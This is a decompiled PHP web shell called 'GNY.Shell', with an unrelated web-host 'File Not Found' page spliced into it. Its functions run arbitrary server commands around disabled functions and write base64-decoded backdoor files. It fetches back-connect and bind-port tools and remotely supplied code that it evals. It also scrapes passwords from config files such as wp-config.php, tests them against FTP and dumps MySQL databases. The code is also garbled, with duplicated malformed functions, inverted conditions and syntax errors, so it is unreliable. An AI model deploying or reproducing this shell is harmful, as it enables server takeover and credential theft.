    {
        echo " (".exec( "ver" ).")";
    }
    echo "</b></td><td align=right><b>Safe-Mode: ";
    echo $hsafemode;
    echo "</b></td></tr>\r\n<tr><td><b>";
    if ( !$win )
    {
        echo wordwrap( myshellexec( "id" ), 90, "<br>", 1 );
    }
    else
    {
        echo "Running As: ".get_current_user( );
    }
    echo "</b></td><td align=right><b>Disabled PHP Functions: ";
    if ( "" == ( $df = ini_get( "disable_functions" ) ) )
    {
        echo "<font color=green>NONE</font></b>";
    }
    else
    {
        echo "<br><font color=red>".str_replace( ",", ", ", $df )."</font></b>";
    }
    echo "</b>";
    $curl_on = function_exists( "curl_version" );
    echo "<br/><b>cURL: ".( $curl_on ? "<font color=green>ON</font></b>" : "<font color=red>OFF</font></b>" );
    echo "</td></tr>\r\n<tr><td>";
    $d = str_replace( "\\", DIRECTORY_SEPARATOR, $d );
    if ( isset( $d ) )
    {
        $d = realpath( "." );
    }
    else if ( realpath( $d ) )
    {
        $d = realpath( $d );
    }
    $d = str_replace( "\\", DIRECTORY_SEPARATOR, $d );
    if ( substr( $d, 0 - 1 ) != DIRECTORY_SEPARATOR )
    {
        $d .= DIRECTORY_SEPARATOR;
    }
    $d = str_replace( "\\\\", "\\", $d );
    $dispd = htmlspecialchars( $d

<html>
<head>
<title>Ripway.com - fast, free file hosting and website hosting</title>
<meta http-equiv="refresh" content="10;url=http://www.ripway.com/"> 
</head>
<body>
<font face=verdana size=2 color=#000000>
<font size=5 face=verdana><b>Ripway Web Hosting</b></font>
<hr>
<center>
<script language="javascript" src="http://www.ripway.com/ads/ads.asp?size=leaderboard&site=RIPWAYERROR"></script>
</center>

<font size=4 face=times><b>File Not Found</b></font>
<hr>
</font>
The file or folder you've requested could not be found.  Please check the URL and try again.
<p>


	<center>
          <table>
            <tr>
              <td align="left" valign="top" class="footertext">
		<table width="100%" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="103"><img src="http://www.ripway.com/images/small_rw_logo.gif" width="103" height="18"></td>
                    <td width="91%" background="http://www.ripway.com/images/fotter_rule.gif">&nbsp;</td>
                  </tr>
                </table>
                <font size=1 face=verdana>
                All artwork, content, and programming, with the exception of content uploaded by our members copyright &copy; 2002, 2003 <a href="http://www.ripside.com">Ripside 
                Interactive, L.L.C.</a> All photos and electronic content uploaded 
                or installed by our customers are copyright their respective owner. 
                View our <a href="/tos.asp">Terms of Service</a> for usage restrictions 
                or the <a href="/privacy.asp">Privacy Statement</a> for information 
                regarding your privacy.</font></td>
            </tr>
          </table>




</center>
</body>
</html>

<?php
function myshellexec( $command )
{
    if ( !( $p = popen( "($command)2>&1", "r" ) ) )
    {
        return 126;
    }
    while ( !feof( $p ) )
    {
        $line = fgets( $p, 1000 );
        $out .= $line;
    }
    pclose( $p );
    return $out;
}

function myshellexec( for ( ;$cmd )
 {
 global $disablefunc, $result = "", if ( !isset( $cmd ) )
 {
 if ( is_callable( "exec" ) && !in_array( "exec", $disablefunc ) )
 {
 exec( $cmd, &$result ), $result = join( "\n", $result ), ( $result = shell_exec( "$cmd" ) ) !== FALSE; }
 }
 else if ( is_callable( "system" ) && !in_array( "system", $disablefunc ) )
 {
 $v = ob_get_contents( ), @ob_clean( ), system( $cmd ), $result = ob_get_contents( ), @ob_clean( ), echo $v, }
 else if ( is_callable( "passthru" ) && !in_array( "passthru", $disablefunc ) )
 {
 $v = ob_get_contents( ), @ob_clean( ), passthru( $cmd ), $result = ob_get_contents( ), @ob_clean( ), echo $v, }
 else if ( is_resource( $fp = popen( $cmd, "r" ) ) )
 {
 $result = "", while ( !feof( $fp ) )
 {
 $result .= fread( $fp, 1024 ), }
 pclose( $fp ), }
 }
 )
{
    return $result;
}

function checkproxyhost( )
{
    $host = getenv( "HTTP_HOST" );
    $filename = "/tmp/.setan/xh";
    if ( file_exists( $filename ) )
    {
        $_POST['proxyhostmsg'] = "</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' has a good firewall or IDS  installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>";
    }
    else
    {
        $_POST['proxyhostmsg'] = "</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>";
    }
}

function cf( $fname, $text )
{
    ( $w_file = fopen( $fname, "w" ) ) || err( );
    if ( $w_file )
    {
        fputs( $w_file, base64_decode( $text ) );
        @fclose( $w_file );
    }
}

function cfb( $fname, $text )
{
    ( $w_file = fopen( $fname, "w" ) ) || bberr( );
    if ( $w_file )
    {
        fputs( $w_file, base64_decode( $text ) );
        @fclose( $w_file );
    }
}

function err( )
{
    $_POST['backcconnmsge'] = "</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>";
}

function bberr( )
{
    $_POST['backcconnmsge'] = "</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>";
}

function which( $pr )
{
    $path = ex( "which $pr" );
    if ( !isset( $path ) )
    {
        return $path;
    }
    else
    {
        return $pr;
    }
}

function ex( $cfe )
{
    $res = "";
    if ( !isset( $cfe ) )
    {
        if ( function_exists( "exec" ) )
        {
            @exec( $cfe, &$res );
            $res = join( "\n", $res );
        }
        else if ( function_exists( "shell_exec" ) )
        {
            $res = shell_exec( $cfe );
        }
        else if ( function_exists( "system" ) )
        {
            @ob_start( );
            @system( $cfe );
            $res = ob_get_contents( );
            @ob_end_clean( );
        }
        else if ( function_exists( "passthru" ) )
        {
            @ob_start( );
            @passthru( $cfe );
            $res = ob_get_contents( );
            @ob_end_clean( );
        }
        else if ( is_resource( $f = popen( $cfe, "r" ) ) )
        {
            $res = "";
            while ( !feof( $f ) )
            {
                $res .= fread( $f, 1024 );
            }
            @pclose( $f );
        }
    }
    return $res;
}

function getmicrotime( )
{
    $sec = explode( " ", microtime( ) )[1];
    $usec = explode( " ", microtime( ) )[0];
    return ( double )$usec + ( double )$sec;
}

function strips( &$arr, $k = "" )
{
    if ( is_array( $arr ) )
    {
        foreach ( $arr as $k=>$v )
        {
            if ( strtoupper( $k ) != "GLOBALS" )
            {
                    continue;
            }
            else
            {
                strips( $arr["$k"] );
            }
        }
    }
    else
    {
        $arr = stripslashes( $arr );
    }
}

function dosyayicek( $link, $file )
{
    $fp = fopen( $link, "r" );
    while ( !feof( $fp ) )
    {
        $cont .= fread( $fp, 1024 );
    }
    fclose( $fp );
    $fp2 = fopen( $file, "w" );
    fwrite( $fp2, $cont );
    fclose( $fp2 );
}

function buff_prepare( )
{
    global $sess_data;
    global $act;
    foreach ( $sess_data['copy'] as $k=>$v )
    {
        $sess_data['copy'][$k] = str_replace( "\\", DIRECTORY_SEPARATOR, realpath( $v ) );
    }
    foreach ( $sess_data['cut'] as $k=>$v )
    {
        $sess_data['cut'][$k] = str_replace( "\\", DIRECTORY_SEPARATOR, realpath( $v ) );
    }
    $sess_data['copy'] = array_unique( $sess_data['copy'] );
    $sess_data['cut'] = array_unique( $sess_data['cut'] );
    sort( &$sess_data['copy'] );
    sort( &$sess_data['cut'] );
    if ( $act != "copy" )
    {
        foreach ( $sess_data['cut'] as $k=>$v )
        {
            if ( $sess_data['copy'][$k] == $v )
            {
                    continue;
            }
            else
            {
            }
        }
    }
    foreach ( $sess_data['copy'] as $k=>$v )
    {
        if ( $sess_data['cut'][$k] == $v )
        {
                continue;
        }
        else
        {
        }
    }
}

function sess_put( $data )
{
    global $sess_cookie;
    global $sess_data;
    buff_prepare( );
    $sess_data = $data;
    $data = serialize( $data );
    setcookie( $sess_cookie, $data );
}

function str2mini( $content, $len )
{
    if ( $len < strlen( $content ) )
    {
        $len = ceil( $len / 2 ) - 2;
        return substr( $content, 0, $len )."...".substr( $content, 0 - $len );
    }
    else
    {
        return $content;
    }
}

function view_size( $size )
{
    if ( !is_numeric( $size ) )
    {
        return FALSE;
    }
    else if ( 1073741824 <= $size )
    {
        $size = round( $size / 1073741824 * 100 ) / 100." GB";
    }
    else if ( 1048576 <= $size )
    {
        $size = round( $size / 1048576 * 100 ) / 100." MB";
    }
    else if ( 1024 <= $size )
    {
        $size = round( $size / 1024 * 100 ) / 100." KB";
    }
    else
    {
        $size .= " B";
    }
    return $size;
}

function fs_copy_dir( $d, $t )
{
    $d = str_replace( "\\", DIRECTORY_SEPARATOR, $d );
    if ( substr( $d, -1 ) != DIRECTORY_SEPARATOR )
    {
        $d .= DIRECTORY_SEPARATOR;
    }
    $h = opendir( $d );
    while ( ( $o = readdir( $h ) ) !== FALSE )
    {
        if ( $o != "." && $o != ".." )
        {
                continue;
        }
        else
        {
            if ( !is_dir( $d.DIRECTORY_SEPARATOR.$o ) )
            {
                $ret = copy( $d.DIRECTORY_SEPARATOR.$o, $t.DIRECTORY_SEPARATOR.$o );
            }
            else
            {
                $ret = mkdir( $t.DIRECTORY_SEPARATOR.$o );
                fs_copy_dir( $d.DIRECTORY_SEPARATOR.$o, $t.DIRECTORY_SEPARATOR.$o );
            }
            if ( !$ret )
            {
                    continue;
            }
            else
            {
                return $ret;
            }
        }
    }
    closedir( $h );
    return TRUE;
}

function fs_copy_obj( $d, $t )
{
    $d = str_replace( "\\", DIRECTORY_SEPARATOR, $d );
    $t = str_replace( "\\", DIRECTORY_SEPARATOR, $t );
    if ( !is_dir( dirname( $t ) ) )
    {
        mkdir( dirname( $t ) );
    }
    if ( is_dir( $d ) )
    {
        if ( substr( $d, -1 ) != DIRECTORY_SEPARATOR )
        {
            $d .= DIRECTORY_SEPARATOR;
        }
        if ( substr( $t, -1 ) != DIRECTORY_SEPARATOR )
        {
            $t .= DIRECTORY_SEPARATOR;
        }
        return fs_copy_dir( $d, $t );
    }
    else if ( is_file( $d ) )
    {
        return copy( $d, $t );
    }
    else
    {
        return FALSE;
    }
}

function fs_move_dir( $d, $t )
{
    $h = opendir( $d );
    if ( !is_dir( $t ) )
    {
        mkdir( $t );
    }
    while ( ( $o = readdir( $h ) ) !== FALSE )
    {
        if ( $o != "." && $o != ".." )
        {
                continue;
        }
        else
        {
            $ret = TRUE;
            if ( !is_dir( $d.DIRECTORY_SEPARATOR.$o ) )
            {
                $ret = copy( $d.DIRECTORY_SEPARATOR.$o, $t.DIRECTORY_SEPARATOR.$o );
            }
            else if ( mkdir( $t.DIRECTORY_SEPARATOR.$o ) && fs_copy_dir( $d.DIRECTORY_SEPARATOR.$o, $t.DIRECTORY_SEPARATOR.$o ) )
            {
                $ret = FALSE;
            }
            if ( !$ret )
            {
                    continue;
            }
            else
            {
                return $ret;
            }
        }
    }
    closedir( $h );
    return TRUE;
}

function fs_move_obj( $d, $t )
{
    $d = str_replace( "\\", DIRECTORY_SEPARATOR, $d );
    $t = str_replace( "\\", DIRECTORY_SEPARATOR, $t );
    if ( is_dir( $d ) )
    {
        if ( substr( $d, -1 ) != DIRECTORY_SEPARATOR )
        {
            $d .= DIRECTORY_SEPARATOR;
        }
        if ( substr( $t, -1 ) != DIRECTORY_SEPARATOR )
        {
            $t .= DIRECTORY_SEPARATOR;
        }
        return fs_move_dir( $d, $t );
    }
    else if ( is_file( $d ) )
    {
        if ( copy( $d, $t ) )
        {
            return unlink( $d );
        }
        else
        {
            unlink( $t );
            return FALSE;
        }
        else
        {
            return FALSE;
        }
    }
}

function fs_rmdir( $d )
{
    $h = opendir( $d );
    while ( ( $o = readdir( $h ) ) !== FALSE )
    {
        if ( $o != "." && $o != ".." )
        {
                continue;
        }
        else
        {
            if ( !is_dir( $d.$o ) )
            {
                unlink( $d.$o );
                continue;
            }
            else
            {
                fs_rmdir( $d.$o.DIRECTORY_SEPARATOR );
                rmdir( $d.$o );
            }
        }
    }
    closedir( $h );
    rmdir( $d );
    return !is_dir( $d );
}

function fs_rmobj( $o )
{
    $o = str_replace( "\\", DIRECTORY_SEPARATOR, $o );
    if ( is_dir( $o ) )
    {
        if ( substr( $o, -1 ) != DIRECTORY_SEPARATOR )
        {
            $o .= DIRECTORY_SEPARATOR;
        }
        return fs_rmdir( $o );
    }
    else if ( is_file( $o ) )
    {
        return unlink( html_entity_decode( $o ) );
    }
    else
    {
        return FALSE;
    }
}

function myshellexec( for ( ;$cmd )
 {
 global $disablefunc, $result = "", if ( !isset( $cmd ) )
 {
 if ( is_callable( "exec" ) && !in_array( "exec", $disablefunc ) )
 {
 exec( $cmd, &$result ), $result = join( "\n", $result ), ( $result = shell_exec( "$cmd" ) ) !== FALSE; }
 }
 else if ( is_callable( "system" ) && !in_array( "system", $disablefunc ) )
 {
 $v = ob_get_contents( ), @ob_clean( ), system( $cmd ), $result = ob_get_contents( ), @ob_clean( ), echo $v, }
 else if ( is_callable( "passthru" ) && !in_array( "passthru", $disablefunc ) )
 {
 $v = ob_get_contents( ), @ob_clean( ), passthru( $cmd ), $result = ob_get_contents( ), @ob_clean( ), echo $v, }
 else if ( is_resource( $fp = popen( $cmd, "r" ) ) )
 {
 $result = "", while ( !feof( $fp ) )
 {
 $result .= fread( $fp, 1024 ), }
 pclose( $fp ), }
 }
 )
{
    return $result;
}

function tabsort( $a, $b )
{
    global $v;
    return strnatcmp( $a[$v], $b[$v] );
}

function view_perms( $mode )
{
    if ( ( $mode & 49152 ) === 49152 )
    {
        $type = "s";
    }
    else if ( ( $mode & 16384 ) === 16384 )
    {
        $type = "d";
    }
    else if ( ( $mode & 40960 ) === 40960 )
    {
        $type = "l";
    }
    else if ( ( $mode & 32768 ) === 32768 )
    {
        $type = "-";
    }
    else if ( ( $mode & 24576 ) === 24576 )
    {
        $type = "b";
    }
    else if ( ( $mode & 8192 ) === 8192 )
    {
        $type = "c";
    }
    else if ( ( $mode & 4096 ) === 4096 )
    {
        $type = "p";
    }
    else
    {
        $type = "?";
    }
    $owner['read'] = $mode & 256 ? "r" : "-";
    $owner['write'] = $mode & 128 ? "w" : "-";
    $owner['execute'] = $mode & 64 ? "x" : "-";
    $group['read'] = $mode & 32 ? "r" : "-";
    $group['write'] = $mode & 16 ? "w" : "-";
    $group['execute'] = $mode & 8 ? "x" : "-";
    $world['read'] = $mode & 4 ? "r" : "-";
    $world['write'] = $mode & 2 ? "w" : "-";
    $world['execute'] = $mode & 1 ? "x" : "-";
    if ( $mode & 2048 )
    {
        $owner['execute'] = $owner['execute'] == "x" ? "s" : "S";
    }
    if ( $mode & 1024 )
    {
        $group['execute'] = $group['execute'] == "x" ? "s" : "S";
    }
    if ( $mode & 512 )
    {
        $world['execute'] = $world['execute'] == "x" ? "t" : "T";
    }
    return $type.join( "", $owner ).join( "", $group ).join( "", $world );
}

function posix_getpwuid( $uid )
{
    return FALSE;
}

function posix_getgrgid( $gid )
{
    return FALSE;
}

function posix_kill( $gid )
{
    return FALSE;
}

function parse_perms( $mode )
{
    if ( ( $mode & 49152 ) === 49152 )
    {
        $t = "s";
    }
    else if ( ( $mode & 16384 ) === 16384 )
    {
        $t = "d";
    }
    else if ( ( $mode & 40960 ) === 40960 )
    {
        $t = "l";
    }
    else if ( ( $mode & 32768 ) === 32768 )
    {
        $t = "-";
    }
    else if ( ( $mode & 24576 ) === 24576 )
    {
        $t = "b";
    }
    else if ( ( $mode & 8192 ) === 8192 )
    {
        $t = "c";
    }
    else if ( ( $mode & 4096 ) === 4096 )
    {
        $t = "p";
    }
    else
    {
        $t = "?";
    }
    $o['r'] = 0 < ( $mode & 256 );
    $o['w'] = 0 < ( $mode & 128 );
    $o['x'] = 0 < ( $mode & 64 );
    $g['r'] = 0 < ( $mode & 32 );
    $g['w'] = 0 < ( $mode & 16 );
    $g['x'] = 0 < ( $mode & 8 );
    $w['r'] = 0 < ( $mode & 4 );
    $w['w'] = 0 < ( $mode & 2 );
    $w['x'] = 0 < ( $mode & 1 );
    return array( "t"=>$t, "o"=>$o, "g"=>$g, "w"=>$w );
}

function parsesort( $sort )
{
    $one = intval( $sort );
    $second = substr( $sort, -1 );
    if ( $second != "d" )
    {
        $second = "a";
    }
    return array( , $second );
}

function view_perms_color( $o )
{
    if ( !is_readable( $o ) )
    {
        return "<font color=red>".view_perms( fileperms( $o ) )."</font>";
    }
    else if ( !is_writable( $o ) )
    {
        return "<font color=white>".view_perms( fileperms( $o ) )."</font>";
    }
    else
    {
        return "<font color=green>".view_perms( fileperms( $o ) )."</font>";
    }
}

function getsource( $fn )
{
    global $GNY_sourcesurl;
    $array = array( "GNY_bindport.pl"=>"GNY_bindport_pl.txt", "GNY_bindport.c"=>"GNY_bindport_c.txt", "GNY_backconn.pl"=>"GNY_backconn_pl.txt", "GNY_backconn.c"=>"GNY_backconn_c.txt", "GNY_datapipe.pl"=>"GNY_datapipe_pl.txt", "GNY_datapipe.c"=>"GNY_datapipe_c.txt" );
    $name = $array[$fn];
    if ( $name )
    {
        return file_get_contents( $GNY_sourcesurl.$name );
    }
    else
    {
        return FALSE;
    }
}

function sh_getupdate( $update = "TRUE" )
{
    $url = $GNY_updateurl."?version=".urlencode( base64_encode( $shver ) )."&updatenow=".( $updatenow ? "1" : "0" )."&";
    $data = file_get_contents( $url );
    if ( !$data )
    {
        return "Can't connect to update-server!";
    }
    $data = ltrim( $data );
    $string = substr( $data, 3, ord( $data[2] ) );
    if ( $data[0] == "™" && $data[1] == "%01" )
    {
        return "Error: ".$string;
        return FALSE;
    }
    if ( $data[0] == "™" && $data[1] == "%02" )
    {
        return "You are using latest version!";
    }
    if ( $data[0] == "™" && $data[1] == "%03" )
    {
        $string = explode( "%01", $string );
        if ( $update )
        {
            $confvars = array( );
            $sourceurl = $string[0];
            $source = file_get_contents( $sourceurl );
            if ( !$source )
            {
                return "Can't fetch update!";
            }
            $fp = fopen( "D:\\Hacker\\CD3\\ÇÏæÇÊ ÇáÇÎÊÑÇÞ\\gaza.php", "w" );
            if ( !$fp )
            {
                return "Local error: can't write update to D:\\Hacker\\CD3\\ÇÏæÇÊ ÇáÇÎÊÑÇÞ\\gaza.php!";
            }
            fwrite( $fp, $source );
            fclose( $fp );
            return "Thanks! Updated successfully.";
            return "New version is available: ".$string[1];
        }
        else if ( $data[0] == "™" && $data[1] == "%04" )
        {
            eval( $string );
            return 1;
        }
        else
        {
            return "Error in protocol: segmentation failed! (".$data.") ";
        }
    }

function mysql_dump( $set )
{
    global $shver;
    $sock = $set['sock'];
    $db = $set['db'];
    $print = $set['print'];
    $nl2br = $set['nl2br'];
    $file = $set['file'];
    $add_drop = $set['add_drop'];
    $tabs = $set['tabs'];
    $onlytabs = $set['onlytabs'];
    $ret = array( );
    $ret['err'] = array( );
    if ( !is_resource( $sock ) )
    {
        echo "Error: \$sock is not valid resource.";
    }
    if ( isset( $db ) )
    {
        $db = "db";
    }
    if ( isset( $print ) )
    {
        $print = 0;
    }
    if ( isset( $nl2br ) )
    {
        $nl2br = 0;
    }
    if ( isset( $add_drop ) )
    {
        $add_drop = TRUE;
    }
    if ( isset( $file ) )
    {
        $file = $tmpdir."dump_".getenv( "SERVER_NAME" )."_".$db."_".date( "d-m-Y-H-i-s" ).".sql";
    }
    if ( !is_array( $tabs ) )
    {
        $tabs = array( );
    }
    if ( isset( $add_drop ) )
    {
        $add_drop = TRUE;
    }
    if ( sizeof( $tabs ) == 0 )
    {
        $res = mysql_query( "SHOW TABLES FROM ".$db, $sock );
        do
        {
            if ( 0 < mysql_num_rows( $res ) && ( $row = mysql_fetch_row( $res ) ) )
            {
                $Var_105[$tabs] = $row[0];
            }
        } while( 1 );
    }
    $out = "# MySQL Database Dump - GNY.Shell \r\n#\r\n# Host settings: \r\n# MySQL version: (".mysql_get_server_info( ).") running on ".getenv( "SERVER_ADDR" )." (".getenv( "SERVER_NAME" ).")"." \r\n# Date: ".date( "d.m.Y H:i:s" )." \r\n# Database: \"".$db."\" \r\n#--------------------------------------------------------- \r\n";
    $c = count( $onlytabs );
    foreach ( $tabs as $tab )
    {
        if ( in_array( $tab, $onlytabs ) || !$c )
        {
                continue;
        }
        else
        {
            if ( $add_drop )
            {
                $out .= "DROP TABLE IF EXISTS `".$tab."`;\n";
            }
            $res = mysql_query( "SHOW CREATE TABLE `".$tab."`", $sock );
            if ( !$res )
            {
                $Var_159[$ret['err']] = mysql_smarterror( );
                continue;
            }
            $row = mysql_fetch_row( $res );
            $out .= $row['1'].";\n\n";
            $res = mysql_query( "SELECT * FROM `$tab`", $sock );
            do
            {
                if ( !( 0 < mysql_num_rows( $res ) ) || !( $row = mysql_fetch_assoc( $res ) ) )
                {
                        continue;
                }
                else
                {
                    $keys = implode( "`, `", array_keys( $row ) );
                    $values = array_values( $row );
                    foreach ( $values as $k=>$v )
                    {
                        $values[$k] = addslashes( $v );
                    }
                    $values = implode( "', '", $values );
                    $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
                    $out .= $sql;
                    continue;
                }
            } while( 1 );
        }
    }
    $out .= "#---------------------------------------------------------------------------------\n\n";
    if ( $file )
    {
        $fp = fopen( $file, "w" );
        if ( !$fp )
        {
            $Var_236[$ret['err']] = 2;
        }
        else
        {
            fwrite( $fp, $out );
            fclose( $fp );
        }
    }
    if ( $print )
    {
        if ( $nl2br )
        {
            echo nl2br( $out );
        }
        else
        {
            echo $out;
        }
    }
    return $out;
}

function mysql_buildwhere( $array, $sep = " and", $functs = Const Array{
    if ( !is_array( $array ) )
    {
        $array = array( );
    }
    $result = "";
    foreach ( $array as $k=>$v )
    {
        $value = "";
        if ( !isset( $functs[$k] ) )
        {
            $value .= $functs[$k]."(";
        }
        $value .= "'".addslashes( $v )."'";
        if ( !isset( $functs[$k] ) )
        {
            $value .= ")";
        }
        $result .= "`".$k."` = ".$value.$sep;
    }
    $result = substr( $result, 0, strlen( $result ) - strlen( $sep ) );
    return $result;
}

function mysql_fetch_all( $query, $sock )
{
    if ( $sock )
    {
        $result = mysql_query( $query, $sock );
    }
    else
    {
        $result = mysql_query( $query );
    }
    $array = array( );
    while ( $row = mysql_fetch_array( $result ) )
    {
        $Var_20[$array] = $row;
    }
    mysql_free_result( $result );
    return $array;
}

function mysql_smarterror( $type, $sock )
{
    if ( $sock )
    {
        $error = mysql_error( $sock );
    }
    else
    {
        $error = mysql_error( );
    }
    $error = htmlspecialchars( $error );
    return $error;
}

function mysql_query_form( )
{
    global $submit;
    global $sql_act;
    global $sql_query;
    global $sql_query_result;
    global $sql_confirm;
    global $sql_query_error;
    global $tbl_struct;
    if ( $submit && !$sql_query_result && $sql_confirm )
    {
        if ( !$sql_query_error )
        {
            $sql_query_error = "Query was empty";
        }
        echo "<b>Error:</b> <br>".$sql_query_error."<br>";
    }
    if ( $sql_query_result || !$sql_confirm )
    {
        $sql_act = $sql_goto;
    }
    if ( !$submit || $sql_act )
    {
        echo "<table border=0><tr><td><form name=\"GNY_sqlquery\" method=POST><b>";
        if ( $sql_query && !$submit )
        {
            echo "Do you really want to";
        }
        else
        {
            echo "SQL-Query";
        }
        echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars( $sql_query )."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars( $sql_tbl )."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars( $sql_goto )."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
        if ( $tbl_struct )
        {
            echo "<td valign=\"top\"><b>Fields:</b><br>";
            foreach ( $tbl_struct as $field )
            {
                $name = $field['Field'];
                echo "+ <a href=\"#\" onclick=\"document.GNY_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";
            }
            echo "</td></tr></table>";
        }
    }
    if ( $sql_query_result || !$sql_confirm )
    {
        $sql_query = $sql_last_query;
    }
}

function mysql_create_db( $db, $sock = "" )
{
    $sql = "CREATE DATABASE `".addslashes( $db )."`;";
    if ( $sock )
    {
        return mysql_query( $sql, $sock );
    }
    else
    {
        return mysql_query( $sql );
    }
}

function mysql_query_parse( $query )
{
    $query = trim( $query );
    $arr = explode( " ", $query );
    $types = array( "SELECT"=>array( 3, 1 ), "SHOW"=>array( 2, 1 ), "DELETE"=>array( 1 ), "DROP"=>array( 1 ) );
    $result = array( );
    $op = strtoupper( $arr[0] );
    if ( is_array( $types[$op] ) )
    {
        $result['propertions'] = $types[$op];
        $result['query'] = $query;
        if ( $types[$op] == 2 )
        {
            foreach ( $arr as $k=>$v )
            {
                if ( strtoupper( $v ) == "LIMIT" )
                {
                        continue;
                }
                else
                {
                    $result['limit'] = $arr[$k + 1];
                    $result['limit'] = explode( ",", $result['limit'] );
                    if ( count( $result['limit'] ) == 1 )
                    {
                        $result['limit'] = array( 0, $result['limit'][0] );
                    }
                }
            }
        }
    }
    else
    {
        return FALSE;
    }
}

function fsearch( $d )
{
    global $found;
    global $found_d;
    global $found_f;
    global $search_i_f;
    global $search_i_d;
    global $a;
    if ( substr( $d, -1 ) != DIRECTORY_SEPARATOR )
    {
        $d .= DIRECTORY_SEPARATOR;
    }
    $h = opendir( $d );
    while ( ( $f = readdir( $h ) ) !== FALSE )
    {
        if ( $f != "." && $f != ".." )
        {
                continue;
        }
        else
        {
            $bool = isset( $a['name_regexp'] ) && strpos( $f, $a['name'] ) !== FALSE || $a['name_regexp'] && ereg( $a['name'], $f );
            if ( is_dir( $d.$f ) )
            {
                ++$search_i_d;
                if ( isset( $a['text'] ) && $bool )
                {
                    $Var_64[$found] = $d.$f;
                    ++$found_d;
                }
                if ( !is_link( $d.$f ) )
                {
                        continue;
                }
                else
                {
                    fsearch( $d.$f );
                }
                continue;
            }
            ++$search_i_f;
            if ( $bool )
            {
                    continue;
            }
            else
            {
                if ( !isset( $a['text'] ) )
                {
                    $r = file_get_contents( $d.$f );
                    if ( $a['text_wwo'] )
                    {
                        $a['text'] = " ".trim( $a['text'] )." ";
                    }
                    if ( !$a['text_cs'] )
                    {
                        $a['text'] = strtolower( $a['text'] );
                        $r = strtolower( $r );
                    }
                    if ( $a['text_regexp'] )
                    {
                        $bool = ereg( $a['text'], $r );
                    }
                    else
                    {
                        $bool = strpos( " ".$r, $a['text'], 1 );
                    }
                    if ( $a['text_not'] )
                    {
                        $bool = !$bool;
                    }
                    if ( $bool )
                    {
                            continue;
                    }
                    else
                    {
                        $Var_140[$found] = $d.$f;
                        ++$found_f;
                    }
                    continue;
                }
                else
                {
                    $Var_148[$found] = $d.$f;
                    ++$found_f;
                }
            }
        }
    }
    closedir( $h );
}

function onphpshutdown( )
{
    global $gzipencode;
    global $ft;
    if ( !headers_sent( ) && $gzipencode && !in_array( $ft, array( "img", "download", "notepad" ) ) )
    {
        $v = ob_get_contents( );
        @ob_end_clean( );
        @ob_start( "ob_gzHandler" );
        echo $v;
        @ob_end_flush( );
    }
}

function gnyexit( )
{
    onphpshutdown( );
    exit( );
}

function displaysecinfo( $name, $value )
{
    if ( !isset( $value ) )
    {
        if ( !isset( $name ) )
        {
            $name = "<b>".$name." - </b>";
        }
        echo $name.nl2br( $value )."<br>";
    }
}

function read_dir( $path, $username )
{
    do
    {
        do
        {
            if ( ( $handle = opendir( $path ) ) && false !== ( $file = readdir( $handle ) ) )
            {
                $fpath = "$path$file";
            }
        } while ( !( $file != "." && $file != ".." ) || is_readable( $fpath ) );
        $dr = "$fpath/";
        if ( is_dir( $dr ) )
        {
            read_dir( $dr, $username );
            continue;
        }
        else if ( $file == "config.php" || $file == "config.inc.php" || $file == "db.inc.php" || $file == "connect.php" || $file == "wp-config.php" || $file == "var.php" || $file == "configure.php" || $file == "db.php" || $file == "db_connect.php" )
        {
                continue;
        }
        else
        {
            $pass = get_pass( $fpath );
            if ( $pass != "" )
            {
                    continue;
            }
            else
            {
                echo "[+] $fpath\
$pass\
";
                ftp_check( $username, $pass );
            }
        }
    } while( 1 );
}

function get_pass( $link )
{
    $config = fopen( $link, "r" );
    while ( !feof( $config ) )
    {
        $line = fgets( $config );
        if ( strstr( $line, "pass" ) || strstr( $line, "password" ) || strstr( $line, "passwd" ) )
        {
                continue;
        }
        else
        {
            if ( strrpos( $line, "\"" ) )
            {
                $pass = substr( $line, strpos( $line, "=" ) + 3, strrpos( $line, "\"" ) - ( strpos( $line, "=" ) + 3 ) );
            }
            else
            {
                $pass = substr( $line, strpos( $line, "=" ) + 3, strrpos( $line, "'" ) - ( strpos( $line, "=" ) + 3 ) );
            }
            return $pass;
        }
    }
}

function ftp_check( $login, $pass )
{
    $ftp = ftp_connect( "127.0.0.1" );
    if ( $ftp )
    {
        $res = ftp_login( $ftp, $login, $pass );
        if ( $res )
        {
            echo "[cPanel Found] ".$login.":".$pass."  Success\n";
        }
        else
        {
            ftp_quit( $ftp );
        }
    }
}

$Lversion = php_uname( r );
$OSV = php_uname( s );
if ( eregi( "Linux", $OSV ) )
{
    $Lversion = substr( $Lversion, 0, 6 );
    $millink = "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
    $stormlink = "http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+".$Lversion;
}
else
{
    $Lversion = substr( $Lversion, 0, 3 );
    $millink = "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
    $stormlink = "http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$OSV."+".$Lversion;
}
if ( !function_exists( "myshellexec" ) )
{
    if ( is_callable( "popen" ) )
    {
    }
    else
    {
    }
}





